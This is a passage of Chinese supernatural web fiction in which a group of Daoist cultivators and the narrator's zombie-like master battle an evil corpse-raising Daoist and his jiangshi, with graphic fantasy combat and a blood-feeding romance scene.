毛僵的嘶吼惊天动地,挣开桃枝朝傅清微扑了过来,他的指甲再长也没有傅清微的腿长,傅清微学占英之前的样子,以进为退,借着奋力踹他的两脚拉开了距离。 撕拉—— 只是裤子又被指甲划开了几道长长的口子。 穆若水赶到的时候战斗已经到了尾声。 被雷符击中又被刺入胸腹两剑的毛僵已是强弩之末,身形迟滞,飞不起来,在丧失理智的胡乱攻击几轮过后,被占英一剑正中前心,桃木剑全部没入,穿胸而过。 毛僵的两只手仍在伸着,张牙舞爪。 占英叫道:“抹他的脖子!” 傅清微:“啊?” 僵尸比起她除过的妖,外形最像人类,毕竟它们曾经就是人。 被刺穿的毛僵只是被制服,并没有死去,反而两手握住了桃木剑,缓缓往外拔,笑容诡异。 占英急道:“快砍掉他的头!” 随着话音的落地,雪亮剑光闪过,绿色的血从无头尸身的脖子断面飙了出来。 傅清微被桃枝和穆若水带着接连后退,避开了飞溅的血迹。 占英离得最近,闭眼偏头躲了一下,半张脸都染上了绿色的血污。 她抬袖无所谓地抹去鲜血,看到不远处被护在穆若水怀里不染泥血的傅清微时:“……” 龙璇玑默默地收回了桃枝,在她眼皮子底下缓缓沉入泥土。 占英:“……” 好想回去找师傅。 占英抽出毛僵紧紧攥着的桃木剑,一脚把死透的尸体踹倒在地上,说:“总算解决了。” 傅清微以剑拄地气喘吁吁。 刚刚斩首的那一剑耗尽了她所有的力量,差点以为砍不下来了,幸好剑够快。 师尊给她的这把剑无名无出处,不显山不露水,用起来却越发顺手,似乎在克制妖邪上有独到之处。占英需要师门的百年桃木剑,自己只要用这一把剑就好了。 傅清微低头爱惜地检查剑身有没有破损,确认毫发无损后从工装裤的口袋里拿出湿巾擦拭剑身血污。 占英:“……” 傅清微:“占科要吗?” “谢谢。” 占英接过湿巾擦脸,恢复了她年轻清秀的脸。 趁着她们休息的时间,穆若水把木屋的情况简略概括,说:“屋子里恐怕有不少僵尸,麻天德不在,应该外出了,不知道几时回来。刚刚你们闹出这么大的动静,不排除他听到了正在赶回来的可能。” 她不提出行动方案,到最后肯定是杀穿。不是麻天德死就是她活。 占英:“再歇十分钟,我们过去看看,争取天黑之前解决他。” 十分钟后。 几人回到小木屋,木屋前死去的毛僵还保持着跪姿,树叶婆娑,空气里的气味和走之前没什么区别。 傅清微三人看了看跪着的僵尸,占英说:“他还没回来。” 傅清微:“我们要不要先做点什么?” 占英说好。 龙璇玑清理尸体,傅清微在进门的必经之路布阵,占英去了穆若水瞧过的窗户,观察里面黑洞洞的棺材,能看到的两间房,至少也有二十来具僵尸——如果棺材里都不是空的话。 穆若水在树顶上负手而立,替她们望风。 傅清微以前看武侠电影的时候就特别喜欢女主在竹林里的打戏,竹身柔韧,女主踩在上面如同一叶小舟,写意风流。 穆若水一身青袍,绸带束发,和她小时候喜欢的形象重合了,还是她亲手把她打扮成这样的。 眼下不适合掏手机,傅清微用眼睛给她拍了一张照片,低头插上阵旗,林子里落叶多,方便伪装。 占英没走原来的路下来,而是从二楼的栏杆翻身一跃跳了下来。 她们几乎刚一布置好,麻天德就来了。 速度好快。 穆若水从树顶落下来,说:“快撤。” 占英:“屏住呼吸,否则僵尸会发现我们!” 三人分头找掩体遮蔽身形,而穆若水重新找了棵枝繁叶茂的大树,飞身藏进了里面,素手一拨,从叶片的缝隙观察下方。 地上起了一阵风,将所有人为的痕迹掩盖。 穆若水停下念咒的话语。 不到一分钟,黄袍道人麻天德带着他的飞僵出现在了木屋前面。 他似乎非常着急,宝贝他屋子里的僵尸状况,所以连看家的毛僵生死都没有确认,直奔门口而去。 傅清微呼吸凝固,眼看着麻道人踩进她的阵里,眉头一松,露出喜色。 麻天德看清了面前以迅雷不及掩耳之势扑上来的独角异兽,兽吼声中,只听他冷哼:“雕虫小技。” 穆若水曾经和傅清微说过,所谓阵法,实则是一种结界,阵法强弱和主人的修为有关。 她平时给傅清微当练手的工具人,是没有使出全力的,模拟大部分普通战力的修行者,毕竟世上像她一样的人极少。 她还说:能力强的可以强行撕开结界,无视一切幻象。 穆若水撕开给她看过一次,不到一秒她就可以破阵而出。 而这位据说三十年前就成名的黄袍邪道,阵法只是挡住了他的脚步三秒,他口念咒语,并指一挥,吞风吐火的异兽和所有幻象湮灭在空气里。 麻道人一脚踩在损毁的阵旗上,推门进了屋内。 棺材都好好地盛放在房间里,他一一检查过,对着侍立在门边的黑袍青年吩咐道:“去,看看那两只毛僵怎么样了。” 戴着兜帽的青年不像监控里那样蹦跳着,而是直接双脚浮空离开了。 离开之前还朝几人藏身的地方望了望。 麻道人身边空无一人,占英几人正眼神交流要不要出来,屋前的麻道人开口了:“远来的客人,何必躲躲藏藏?” 占英现了身。 麻天德说:“还有两个人。” 傅清微和龙璇玑也走了出来。 他没发现树上的穆若水,穆若水干脆懒得出来。 离得近了,几人才彻底看清麻道人的模样。 他一身黄袍道卦,戴一方九梁巾,黄色的眉毛,哪怕躲藏在山里生活潦倒,整个人看起来也十分精神。 虽然干瘦,却面色红润,嘴唇上方唯一留着的胡须黑中有白,暴露了他的真实年纪。 傅清微第一次见到坠入邪道的道士,好奇多看了几眼,只觉他除了形容落魄了些,外貌没有太大区别。 麻道人眯眼:“灵管局的人?” 占英说是。 她握紧了手里的剑,盯着他没有丝毫放松警惕。 “正好留下来当我的尸仆!”黄袍道人喝道。 麻道人的发难来得突然,屋里的黑色棺材掀开两具,两只青色指甲的毛僵扑了出来,贴地面飞行过来,分别抓向占英和傅清微的脚。 两道剑光同时闪过。 两人在空中一跃而起,长剑借由下坠的力道刺入,动作几乎同步。 剑尖在毛僵身上只留下浅浅的一个凹点,两只毛僵长身立起,朝二人猛烈地攻了过来。 麻道人阴沉开口:“别杀死她们!” 送上门的修行者,刚好是炼活尸的绝佳材料。他已经腻了炼这些死去已久的尸体,他要抓几个活人,亲手杀掉,在死去的那一刻锁住她们的魂魄,再一点一点地焚…… 什—— 掌风从天而降,麻道人想也不想身形往后急退,同时掷出一道符箓,风刃和风撞在一起,屋前响起巨大的爆炸声。 女人挺拔的身影从卷起的漫天落叶里走出来。 “原来还有一个。”麻道人冷着脸一声唿哨,黑袍青年拎着死掉的毛僵回来随手一扔,站在了他的身边。 穆若水从袖子里摸出两枚五帝钱,分向两处掷出,利箭一样射了出去。 分别嵌入和傅清微、占英二人缠斗的毛僵身体。 那两只毛僵伸着长指甲的双手,停在原地一动不动,傅、占二人趁机砍断了他们的头,尸身轰然倒地。 一出手就是两只毛僵,虽然没有飞僵那么珍贵,也是麻道人前些年宝贵的成果。 麻道人目光忌惮:“你是谁?” 穆若水冰冷的瞳孔注视着他,不似活人的眼神。 她面无表情屈指成爪,向麻道人的脖子攻了过去。 黑袍青年用身体挡在了麻道人面前,可以轻易折断毛僵脖子的力道打在飞僵身上,如同撞上铁壁,毫发无损。 麻道人微微一笑。 这是他精心炼制的得意之作,毛僵那种低级僵尸怎么比…… 说时迟那时快,穆若水五指一划,不知用了什么利刃,竟在黑袍青年胸前硬生生撕开了四道口子,流出青黑色的血。 黑袍青年怔怔地低头,似乎不明白自己为什么会受伤。 “不可能!”麻道人比他更不能接受! 他的飞僵,世上不可能有人能伤害他的肉身!还是徒手! 他自腰间解下一枚黄铜法铃,快速地摇动起来。 叮铃叮铃叮铃—— 这是专门用来控制僵尸的伏尸铃。 棺材里的尸体蠢蠢欲动,黑袍青年迷茫的神色收起来,比毛僵深了一个度的红色眼珠转动,嗜血的杀意落在了穆若水的身上。 随着摇铃的响起,穆若水眨眼的频率似乎慢了一拍,很快恢复正常。 麻道人心知她的厉害,躲得远远的。 穆若水想除掉他,就必须先杀了眼前的飞僵,但是有伏尸铃加成的黑袍青年战斗力上了一个台阶,穆若水在普通情况下无法一击毙命。 他们在空中飞快地交手,肘与肘,腿对腿,每一次碰撞似乎不是人类皮肉间的撞击,而是金石和陨铁的冲击,声音几乎令剩下的人耳鸣。 占英三人趁机向麻道人包围过去,没等接近,两只毛僵拦在了她们身前。 对现在的麻道人来说,毛僵已经不值钱了,要多少有多少。 砰—— 空中一声闷响,穆若水凭空再度拔高三尺,屈膝自上而下将黑袍青年的胸口撞出一个凹洞,他迅速坠地,陷进地面尺余。 穆若水如青鹤展翅飞掠而来,一把掐住了麻道人的脖子,五指一收。 就在她要将麻道人毙于掌下之时,她的脑子突然一片空白,并非她想起或遗忘了什么,而是剧烈的疼痛使得她的大脑失去了思考能力。 腕上的红线不分场合地绕了上来,死死地缠住她用力的手。 穆若水多收紧一分,红线就勒入她的手腕一分。 麻道人看着她的手腕,和她眼眸中若隐若现的红光,不像活人的眼神,一个大胆的念头自他脑海冒了出来。 他的神情陷入癫狂,看着穆若水的眼神也充满了痴迷。 那不是爱慕,更不是欣赏,而是见到了此生至高梦想在自己眼前实现的疯狂。 比飞僵更坚不可摧的肉身,更无所不能的力量,她现在抵住自己喉咙的可以划开金石的锋利指甲。 难道这才是最完美的作品。 他此生竟然能亲眼见到—— “你是谁?”麻道人不顾喉咙的窒息,疯魔一般地问道,“你的主人是谁?!” 他梦寐以求的,原来早就有人做到了。 可是! 是谁?居然先他一步炼出来了! 我的……主人? 穆若水偏了偏头,眸色已经完全转为鲜艳欲滴的绯红,指甲也长出来一些,刺入了麻道人喉咙的皮肤里,赤色血珠冒了出来。 那血珠的成色,竟不如她的眼珠剔透鲜红。 麻道人丝毫感知不到疼痛,激动地泪流满面。 如果不是穆若水掐着他的脖子,恐怕他要跪在她的脚边,顶礼膜拜。 麻道人盯住她绯红如宝石的眼睛:“求求您告诉我,你的主人究竟是谁?” 第113章 傅清微等人离了有一段距离, 又被毛僵缠住自顾不暇。 余光只瞧见穆若水顺利擒了麻道人,而麻道人却在大喊着“主人”之类的话,不知所云, 状似癫狂。 麻道人又笑又哭地哀求:“请您让我和您的主人见一面吧。” 他一个控尸人, 按理说比僵尸的等级更高, 将其他僵尸唤作尸仆,而对穆若水的态度却充满尊敬, 称口必“您”。 红线反复撕裂女人的魂魄, 穆若水闷哼一声,恢复了理智。 主人? 无稽之谈! 她怎么会有所谓的主人?! 穆若水手上失去了控制的力道, 魂魄被红线束缚逼迫她抽离手掌, 麻道人从半空中跌落下来,连滚带爬地转身奔进屋内。 穆若水低头看向自己的双手,两道红线仍然锁着她的腕节, 全力阻止她杀人。 ……真是个麻烦的东西。 穆若水飞身过来替二人解决了两只毛僵, 深黑泛红的瞳仁注视着傅清微的脸,脖子,衣领里的净白皮肤, 似乎想把她当场扒光。 傅清微对她的眼神再熟悉不过,抬手捂着领口。 在这不合适吧? 穆若水扭头对龙璇玑和占英冷道:“你们俩,转过去。” 二人立刻照做。 穆若水伸手扣住傅清微的后脑勺,朝她吻了下来。 她的目的并不是为了接吻, 却客观地造成了她的动作很激烈,傅清微为了不让背对的那两个人听见, 一句声也不敢出。 穆若水大肆掠夺着她需要的甘甜渴饮, 恰好傅清微受过伤,口腔里还有残留的血腥味, 被勾着一一吮弄。 从手腕延伸开的红线正在慢慢地收回,魂体的疼痛感逐渐减轻。 穆若水舒展开了微蹙的眉眼,退出她的唇齿,舌尖卷去她唇角的血迹。 “还有哪里流血了吗?”女人温柔地问她,舔了舔唇。 “有。” 傅清微看出她需要自己的血,虽然不明白为什么,她把受伤的虎口给她看。 “很乖。” 穆若水含住了她的虎口,温热的舌尖扫荡。 傅清微闭了闭眼,虽然这种时候不该,但是真的太…… 穆若水依次虔诚地舔过她的小臂,施了个祝由术令她的伤口短暂愈合,放下了她的袖子。 “不需要再咬我一口吗?” “无妨,已经好了。” 穆若水的眼珠彻底恢复了黑曜石一般的人类颜色,深深地看了身边的傅清微一眼。 傅清微刚好转过脸去叫那两个人:“你们可以转过来了。” 占英看天看地,就是不敢看她们两个人的脸。 龙璇玑默默撒了几片桃花瓣。 虽然傅清微没有出声,但接吻不是静音模式,二人也算是听了现场直播。 傅清微张了张嘴,无从开口。 不解释也没有多余的时间解释了,木屋里一声大笑声响起,麻天德握着一杆通体漆黑的短幡出现在门口,六根幡尾无风自扬。 占英脸色大变:“炼魂幡!” 麻道人满意道:“看你小小年纪却识货,待会炼你的时候我一定会多用心的。” 既然他捡回一条性命,就不会再让人白白拿去。 而且他有了更加值得活下去的理由,他要得到那个青袍女人,把她收为己用,做她的新主人! 傅清微不知道炼魂幡是什么,顾名思义也能猜到,从他拿出来以后,她的灵眼看到幡身周围黑气冲天,似乎有无数张脸孔扭曲着要从里面出来,耳边传来幽幽鬼哭。 占英冷声道:“没想到你手里还有这么多条人命。” 麻天德笑着说:“能够被我收入幡内,是他们的荣幸。” 炼尸炼魂,前者肉身,后者生魂。不同的是后者只能从活人身上取魂魄,对应时辰、阴阳、大衍之数,所以他幡内的冤魂都是一条条枉死他手的无辜人命。 上天有好生之德,太讽刺了。 有时候人比妖魔更可怕。 占英抽出了自己的佩剑,真正的杀人剑。 穆若水:“我去对付那些僵尸和冤魂,你们去杀麻天德。” 傅清微:“好。” 麻天德摇动炼魂幡,整个屋子前的阳光都消失了,黑暗笼罩下来,无数怨魂啸叫着从幡内涌了出来,有耄耋之年的老者,有身材精壮的青年,大红嫁衣的新娘,襁褓之中的婴儿…… 有的能勉强保持身躯完整,有的只剩下一个飞着的头颅,裹挟着重重黑气,分别朝众人攻了过来。 傅清微三人连看清都困难,目之所及都是黑雾。 时不时响起的鬼婴啼哭更是让所有人耳朵一痛,恨不得弃剑捂住双耳。 仿佛被拉入血河,河水中翻滚着白色的尸骸,婴儿的尸体,更是让人产生了幻觉。 龙璇玑比二人情况好些,但也仅限于自保,连护着她们都做不到。 麻天德就算不驱使僵尸,实力也超出众人的想象。 ——如果没有穆若水的话,她们都会死在这里,然而没有如果。 穆若水从容不迫地从袖子里掏出百宝袋,抓了一把黄豆出来,朝地上一撒。 一道白光斩破了黑雾,骑着战马冲锋的金甲将军宛如天神降临,挥动的长刀接二连三地破开黑雾,身后铜盔铁甲的阴兵排列成兵阵,布满了密林。 “杀!” “杀!” “杀!” 漫山遍野的喊杀声,吸食了黄豆上附着灵气的阴兵阴将高举着煞气十足的刀剑,朝怨魂们挥刀下去,所向披靡。 怨魂们四散逃逸,跑得快的钻回了幡内,跑得慢的当场魂飞魄散。 “撒豆成兵!”麻天德震撼之余难掩狂热,“她竟然可以使用如此高深的道法?” 飞僵铜皮铁骨,已然可以使用粗浅的法术,但比起穆若水来说犹如天壤之别。莫说飞僵,就算全天下的道人拉在一起,也没有几个人能在道法上和她抗衡。 麻天德不知道她从前就是道士,以为她是后来才修习的。 然而作为僵尸,却可以使用人类的高深道法对付人类,这本身就说明了她的等级远远高于普通僵尸。 是游尸、不化骨?不,是比它们更高级的存在。 如果不是麻天德不知道如何称呼她,他绝不会称她为“僵尸”。 就好比人都是从草履虫进化来的,管她叫僵尸,就像仍然把人类看作草履虫一样可笑。 那早就不是同一个维度的生物。 如此一来,他更要得到她不可! 面前的怨魂被阴兵冲得四分五裂,木屋前的黑雾也散去大半,麻道人干瘦的身形暴露出来。 二人一妖提剑冲上前去,几道剑气瞬发先至,麻道人游刃有余后退两步,门口的防御法阵启动,竟然化解了二人的攻击,反过来发射出剑气。 傅清微三人凭借身手躲过,避开正门,从旁边的窗户撞了进去。 穆若水皱了皱眉。 下一刻,刚刚撞入屋内的三人便倒退着飞了出来。 穆若水先飞身接住了傅清微,以极快的速度第二个捞到了龙璇玑,龙璇玑的桃枝在半空中勾住了占英的腰,将飞得最远的她往回拉了一把。 三个人踉踉跄跄地稳住身形。 傅清微握剑的虎口再次开裂流血,沉声说:“里面有飞僵。” 她们甫一进去,屋里的棺材便打开一具,占英反应最快,一剑刺去,桃木剑被飞僵双掌合在手中,一股难以抵抗的大力让她没办法抽出剑,接着她就被一掌打了出来。 傅清微的利剑削在那飞僵脖子上,竟然如同劈在钢铁之上,当的一声反弹回来,震得她虎口发麻。 龙璇玑更不必提了,桃枝的束缚如同虚设。 一个照面,三个人在成形的飞僵面前均败下阵来,不堪一击。 飞僵的一掌正中占英的肩头,她吐了口血。 这才直观地明白刚刚穆若水把黑袍青年按在天上打,又砸进地里是什么样的实力碾压。 砰砰砰—— 黑色棺盖接二连三的打开声,屋子里贴了符沉睡的僵尸们一一睁开血红的双眼,直身立起,从木屋的门口排队走了出来,麻道人咬破自己的中指指尖,将自己的血抹在飞僵眉心。 方才被穆若水击败的黑袍青年不知何时也回到了麻道人的身边,胸口仍然一个凹进去的洞,麻道人给他喂了几滴自己的血,他身上的伤口快速愈合,恢复如初。 黑袍青年转过来,怨恨地盯住穆若水。 穆若水并没有在看他,回头对傅清微几人说:“你们快走。” 她很少有说话语速这么快的时候,一向没什么表情的脸上居然神情凝重。 这副局面显然不止超出几个小辈的预料。 这群僵尸有老有少,有女有男,一个个脸色发青,嘴唇乌白,很少有面部腐烂的。飞僵和毛僵外表上最大的不同,就是越高等级的僵尸越像活人,他们连尖牙都看不到,个个似黑袍青年。 这一屋子藏着的,竟然有一大半都是飞僵。 麻道人将毕生心血倾巢而出,铁了心要留下穆若水。 他摇着手摇铃,和方才不一样的频率在林子里响起,鸟雀听到了直直从枝头坠地,鲜血直流。 叮铃—— 叮铃—— 屋前的飞僵们没有反应,但分明有什么更危险的东西在回应他,地底的铁链转动,轰隆轰隆—— 穆若水又说了一遍:“快走!!!” 占英拉起傅清微,龙璇玑也架住她一边肩膀,生怕傅清微在这时候犯傻。 傅清微没有非要留下来拖后腿,沉默地三人一道朝山下的方向飞速奔去。 穆若水托起一阵清风将她们送得更远。 她回身面对所有的危险,已知和未知的一切。 傅清微几人在离开的视线里回头遥遥望了一眼,仿佛是一瞥之下的错觉,她们看见—— 山林骤然刮起的狂风里,阴暗的天色下,挺拔如竹的青袍女人身后的三千青丝墨色迅速褪去,尽数化作白雪一般的白发。 在她们看不到的视野里,穆若水的瞳孔彻底转化成宝石一般的血红。 麻道人:“别让她们跑了,一个都不要放过!” 屋前的飞僵们立刻就要听命行动,一声平淡的嗓音在林子里响起,却带着不容拒绝的威压。 “蝼蚁尔敢?” 她平平无奇地踏出一步,不知道比飞僵高出多少等级的同种族天赋,压得底下的飞僵喘不过气,更遑论听从麻道人的命令。 麻道人摇动伏尸铃,才有一只飞僵勉强站了起来,朝三人离开的方向追了过去。 长发过膝的女人身形如闪电出现在了飞僵的前方,方才还需要几个回合的交手才能制服的飞僵,她一只手刺穿对方的铜皮铁骨,捏碎早已不会跳动的心脏,如同破烂一样将其丢了回去。 手脏了……不好看…… 她慢慢地眨动绯红的眼睛,想……有个人给她擦一擦。 想……去找她。 现在……还不行。 麻道人避开重伤的飞僵的身体,大笑着连说了三声:“好,好,好!” 他就知道,在真正的她面前,飞僵也不过不堪一击的废物。 好在他还有后手。 麻道人摇动伏尸铃,十几只飞僵一拥而上,挡在他面前,也挡住了向他发动突袭的穆若水。 穆若水自从杀了第一只飞僵后,诱发了骨子里的杀意,凶性大发,她一心杀掉麻天德,不管不顾,将红线抛之脑后。 谁也不能阻止她和傅清微团聚! 麻道人即使早有预料,也被她杀红了眼的举动惊骇到,传说中凶悍的飞僵面对她如同飞蛾扑火,扑上去就被一掌击落,更有甚者被当空撕成两半,黑色的血雨淋了麻道人一脸,进入他的眼睛。 麻道人“啊”的大叫出声,抹掉眼睛的血,连滚带爬地往上山的方向跑去。 怎么还不来怎么还不来? 他的宝贝呢? 麻道人疯狂地摇动法铃,边摇边喊:“爹在这儿!!!爹在这儿啊!!!” 眨眼间所有的飞僵都倒在了地上,身首分离,断臂残肢。 穆若水毫不恋战,朝干瘦的道人身影飞了过去。 “爹在这儿啊——”麻道人看着穆若水死神一般飞速逼近的身影,凹陷进去的双眼含着老泪,盛满了临死之前的惊恐。 砰—— 穆若水的身形在半空和一道娇小的身影相撞,方圆半里之内的地面都震了一下,土石翻起,树木摇晃。 穆若水落了下来,她对面也落下一个人。 是一个面孔看起来不过五六岁的女童,脸颊饱满,皮肤白皙,穿着上世纪末样式的衣服,想必是那时被封入棺中的。 穆若水当然不会认为她是一个活人。 恐怕是他亲手炼出来的尸体,说不定就是他的亲生女儿。 有些邪术,越是亲生骨肉,越是效果奇佳。 麻道人涕泗横流,坐在地上,就差向女孩爬过去,口中不停地呼着:“我的乖女儿,救了爹爹一命。” 电光火石之间,穆若水伸手去取麻道人性命。 女童自然出手阻止她伤害他。 她不会说话,模样也是生前的样子,不像穆若水进化出了第二种形态,跻身妖魔,战斗力不可相提并论,但已比飞僵高出一大截。 麻道人躲在树后,悄悄地观察战场。 方圆数里的树木随着她们所到之处连根拔起,狂风大作,头顶的阴云汇集,明明还是半下午,密林里却透不进一丝阳光,遮天蔽日,二人身上不属于人类的寒气四溢,肆无忌惮地摧毁一切生灵。 地面湿润的泥土甚至结了一层细细的冰。 盛夏时分竟然有雪在林子里飘落。 麻道人的胡子覆上了白霜,冻得瑟瑟发抖。 他根本看不清二人的身影,他想趁机逃命,然而也挪不动脚步。 好冷。 好冷啊。 四周冷得像冰窖。 林子里风雪交加,他靠着树干冻得几乎要失去知觉,不知道过去了多久,或许只有短短的几分钟。 他胸口骤然一痛,低头看见一只修长柔腻的手,从后心穿到前胸,透力而出。 即使满手鲜血,也能看出那是属于女人的,漂亮的手。 麻道人所有的感官瞬间回笼,喉咙里发出不似人的惨叫。 他胸腔破开一个臂粗的血洞,从那个血洞里,可以看到左边是倒在地上的女童尸体,右边是穆若水,手中握着一颗鲜红跳动的心脏。 麻天德整个人滚落在地,鲜血迅速染红了身下的泥土。 穆若水低头看了看那颗心,本来对她来说是很美味的食物,可她尝过更好的了,随手丢至一边,弃如敝履。 她要去找一个人会合。 绯红如宝石的眼珠转动,闪动熠熠光芒,却透出深深的迷茫。 是谁呢? * 傅清微三人迅速往山下逃去。 即使傅清微再担心穆若水的安全,也没有再回头,保护好自己,就是对师尊最大的帮助。 她们会活着相见。 然而这一程并不顺利。 黑袍青年不知何时追了上来。 他是最常跟着麻道人外出的,早就进化出了自我意识,有自己的思考。趁着穆若水杀那群飞僵的时候,他明知不敌假意败阵,悄悄地离开了木屋。 柿子都知道挑软的捏,谁会想不开去和那个白头发的女人打?他那些蠢货同族,死了活该。 他要杀了这三个现成的人,喝干她们的血。 黑袍青年嗅着空气中残留的生人气息,在哪儿呢?噢,在那儿。 傅清微几人逃出十来分钟,远远地听见一声撕心裂肺的哀鸣,穿透山野,其中似乎掺杂着难以忍受的痛苦。 ——是从木屋的方向传出来的。 傅清微霎时停住脚步。 占英也神色骤变。 龙璇玑一向冷静的小脸染上焦虑。 傅清微:“不是我听错了对不对?是师尊的声音。她出事了!” 占英和龙璇玑默契地同时架住她一条胳膊,不给她任何回头的余地,拖着她朝下山的方向奔去。 占英得到的命令就是保护她的安全。 龙璇玑更不用说,她眼里只有傅清微。 重点是不管遇到任何情况,她们三个人回去都没用。 傅清微:“你们!放我一个人回去不行吗?!” 占英&龙璇玑:“不行!” 傅清微胸口闷涨,忽然吐出一口血。 “她真的出事了,她需要我。”莫名的心电感应搭上了,鲜血沿着傅清微的唇角一点一点地淌下,她说,“我得回去。” 占英:“不行!” 龙璇玑却在犹豫。 她想,上一世娘亲等了师娘那么久,会不会就是因为没能及时赶到她身边? 是她的命重要?还是她们在一起重要?娘亲的答案昭然若揭。 龙璇玑缠住傅清微的腰往回跑。 占英:“龙璇玑你这个墙头草!” 占英:“你好歹换条路啊!” 占英:“我跟你们一起回去!” 在占英的带领下,她们没有原路上山,而是换了一条路,以免和追兵狭路相逢。 但飞僵的速度实在太快了,她们还没赶到小木屋,黑袍青年的身影便出现了她们身后,喉咙里发出兴奋的吼叫。 三人的心同时往下沉,以最快速度赶路。 前有狼后有虎,哪个更危险谁也说不好。 黑袍青年已经飞到了她们几乎并肩的位置。 占英当机立断:“我断后,你们先走!” 两人都没有答应,抽出了剑和桃枝。 百年桃木剑凝聚所有修为砍在飞僵身上只留下浅浅的白痕,擦一擦就没了。锋利的剑刃划过他的胸前带起一串金石之声,火星四溅,毫发无损。 伺机钻出泥土紧紧缠住飞僵双脚的桃枝被黑气腐蚀,不甘地缩回地底。 三人束手无策。 占英取出了岁已寒给的符箓,数道符箓出其不意地砸出去,飞僵铜墙铁壁的身躯也被劈得凝滞了几分。 “走!” 几人争取到了时间,疾速朝山上奔去。 占英仍然在最后,她们经历了一天的奔波和打斗,精力已不如前,飞僵又格外地难缠,短短拖延了一分钟,黑袍青年便再次追赶上来。 傅清微的符箓也用掉了。 她们面对飞僵已没有任何后手。 木屋方圆几里的树木倒塌大半,几人离木屋还有一小段距离,却已完全暴露在飞僵的视野里。 第三次见到黑袍青年,三人都有种世界末日的感觉。 占英大叫:“龙璇玑!” 龙璇玑意会,带着傅清微就跑。 这次是真没办法了,她只能选择一个人。 占英的桃木剑被黑袍青年两手合掌折断,反手送进了她自己的身体。 青年伸出右手,尖利的长指甲捅穿了道袍女生的肚子,一直穿透到另一边,带出淋漓的鲜血。 黑袍青年收回手,舔着自己手指的鲜血,眯起红色的双眼。 他丢下占英,继续去追前面两个人。 占英跪地,大口大口地吐着血,回头看着二人渐渐远处的身影。 快……跑…… 傅清微回了一次头,眼眶里溢满了泪水,龙璇玑也擦了擦脸,没命地朝小木屋奔去。 看到屋顶了! 就要到了—— 傅清微感觉自己被从后大力推了一把,身形往前送出好一段距离,她看到了躺在地上的穆若水的身影,也看到了龙璇玑胸腹间穿出来的一只青黑指甲成爪状的手。 龙璇玑还在朝她拼命大喊:“我不是人,我不会死的!快去找师娘!” 可她分明也在流血。 也会痛。 她只是一只还没成年的小桃妖。 傅清微擦掉溢出眼眶满脸的眼泪,连滚带爬地扑到了穆若水的身边。 她躺在一片林子里,不远处是麻天德死去已久的尸体,地上滚落着一颗脏兮兮的心脏。 穆若水双目紧闭,双手因为忍受痛苦攥成了拳头状,长指甲深深地陷进了手心,满手的鲜血自掌心溢出来。 女人眉头紧锁,挣扎着闷哼。 傅清微的眼泪全落在她的脸上。 她身上没有任何伤痕,只有数不清的红线,从她的手腕、胳膊,青袍捋起之下的原本雪白的皮肤,被一圈一圈的红线捆缚着,仿佛要将她碎尸万段。 第114章 “师尊!师尊!穆若水!” 傅清微的眼泪大颗大颗地砸落在女人的脸上, 和她身下的泥土。 傅清微根本不认识这些红线是什么,为什么会出现在师尊的皮肤,甚至红得像是嵌进了她的骨血, 无处不在地蔓延, 连她的颈项都布满红线, 如果不是她事先看到胳膊,会以为那些是密密麻麻的红色血管。 人可能会有那么多那么细的血管吗? 红线像是活物游走在她的经络, 在肉眼看不到的身体内, 一具被捆缚着的魂体正被重重红线锁着,如同分离的利刃, 每分每秒地同时凌迟着女人的魂魄, 一片一片地剐下来。 如果是活生生的人,早在第一秒就碎成了血水。 除了最开始的一声之外,她表现出来的不过是眉头紧锁, 连呻吟都很细微。 想来不是第一次忍受, 或许她早已习惯。 傅清微不知道发生了什么,也不知道她在受什么苦,但是每次她不舒服的时候只要喝自己的血就好了。 她可以救她的, 她一定能救她的! 傅清微立刻用剑割开了自己的手腕,成千上万的血珠争先恐后地涌了出来。 她感觉不到疼,立刻将自己的手腕送到穆若水的唇边,鲜血滴在她干燥的唇上, 刚渗入唇齿几滴,脑后一阵风声。 傅清微想也不想趴了下来, 抱着穆若水的身子滚了一圈, 惊险地躲开了黑袍青年的一爪。 黑袍青年看着她怀里的白发女人,流露出忌惮之色。 穆若水生死未卜。 傅清微不喜欢这个词, 她只是昏迷。 所有人死的死伤的伤,仅剩的这一只飞僵就是在场的最强战力,他也看出来穆若水情况不对,或许这是最好的时机。 无论是杀人还是报仇。 黑袍青年以自己的思考力迅速下了判断,眸底一厉,双手的指甲伸长,骤然刺了过来。 速度比任何一次都快,傅清微的眼睛里只闪过一丝残影,连作出反应的时间都没有,只是凭借本能用自己的背部挡在了穆若水身前。 扑哧—— 五指穿透身体入肉的声音,近距离响起在自己的耳边。 滴答滴答—— 血一滴滴落在地面。 傅清微紧紧地闭着双眼,后知后觉没有感受到身体上的疼痛,而她的身下是冰冷的泥土。 她睁开眼,带着凉意的长长发丝拂过她的脸,在弥漫浓重血腥味的风里,她从白发的视野间隙里,看见黑袍青年的胸口多了一只手。 那只手穿透了他的胸膛,扯出一颗不会跳动的心脏,在黑袍青年难以置信的目光里,他的头颅被那只手利落地拧断,和心脏一起丢进了旁边的泥土里。 无头青年轰然倒地。 同时倒下来的还有穆若水的身体,她单膝跪在地上,过膝的白发几乎铺满了她的整个后背。 “师尊!” 傅清微伸手去扶她,穆若水被她轻轻一扯便倒了下来,傅清微连忙让她枕在自己腿上,把割开的手腕压到她唇边。 穆若水绯红的眼睛睁开了一下,似乎在辨认面前的人是谁,过后不堪重负地合上。 女人丧失了主动吸吮的力气,好在她的喉咙还能吞咽。 傅清微不停地给她喂着自己的血,血流不出来了就再划一刀再划一刀。她自己也不知道喂了多少,撑着地面的那只手晃了晃,意识有些涣散地摇了摇脑袋。 “娘亲,可以了。” 暂时止住伤势的龙璇玑阻止了傅清微继续去拿剑割向自己的手,说:“再这样下去,你会失血过多而死。” 她给傅清微服了一粒丹药,按住她两处穴道强迫她恢复清醒,眼神聚焦。 “师娘比刚才好多了,你看一看,这下能看得清吗?” “能。”傅清微哑声道。 “你们俩先撑一会儿,我去找占英。”龙璇玑从化形以来就没受过这么重的伤,差点以为自己要被打回原形了。 好疼。 可是娘亲也好疼,大家都好疼。 她是大夫,她要先救人。 龙璇玑捂着不断渗血的胸腹,深一脚浅一脚地朝最远处的占英赶了过去。 占英仰面躺在地上,手边跌落挂断的卫星电话,眼皮紧闭,一动不动。 桃木剑插在她的左右胸腔之间,腹部被穿出了五个血洞,透背而出,身下的鲜血已经染得比她整个人躺的范围大出一圈。 龙璇玑不管她是不是没有脉搏,摸都不摸,把所有的药都倒了出来,一股脑地喂进去。 药吞不进去,血反倒涌了出来,龙璇玑不死心地继续往她嘴里塞,终于塞进去了几颗。 除了身上的伤势,最要命的是尸毒。 